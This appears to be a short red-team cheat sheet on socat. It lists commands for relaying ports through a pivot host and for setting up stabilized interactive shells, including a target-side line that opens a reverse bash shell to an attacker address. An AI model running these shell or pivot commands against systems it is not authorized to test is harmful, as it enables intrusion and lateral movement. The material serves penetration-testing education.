PWNMI

Cheatsheets

Socat Cheat Sheet

Updated July 27, 2026 · Written by PWNMI — see About.

Socat ("SOcket CAT") relays data between two endpoints — files, pipes, sockets, serial devices — of almost any type. In practice on an engagement, that mostly means one of two things: forwarding traffic between ports/hosts, or getting a fully interactive shell instead of the raw, unstable one a basic netcat listener gives you.

Red Team / Offensive Use

Socat's two big engagement uses: relaying traffic through a host you control (similar in purpose to proxychains, but working as a standalone relay rather than routing arbitrary tools), and upgrading a bare reverse shell into something that behaves like a real TTY — with tab completion, arrow-key history, and correct terminal sizing, instead of a shell that breaks the moment you try to use vim or su.

Established Cheatsheet

Socat man page — dest-unreach.org — the official reference maintained by socat's author.

PWNMI's Top 5 Use Cases

  • socat TCP-LISTEN:4444,fork TCP:10.10.10.5:4444 — relay a port, forwarding anything hitting your listener on 4444 to another host; useful for routing traffic through a pivot box
  • socat file:tty,raw,echo=0 tcp-listen:4444 — set up a listener that gives a fully interactive TTY on connection, rather than a raw shell
  • socat -d -d TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane — a common full "stabilized shell" listener, giving job control and signal handling that a plain nc -lvnp listener doesn't
  • On the target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.5:4444 — the connecting side's half of the stabilized-shell pairing above
  • socat -v TCP-LISTEN:8080,fork TCP:internal-host:80 — relay with -v verbose output, letting you watch traffic pass through in real time, useful for confirming a relay is actually working

Next step

For the specific case of tunneling through HTTP rather than a raw port relay, see Chisel. For routing arbitrary tools (not just raw traffic) through a pivot, see proxychains. For the concepts tying all of this together, see Pivoting and Tunneling Fundamentals.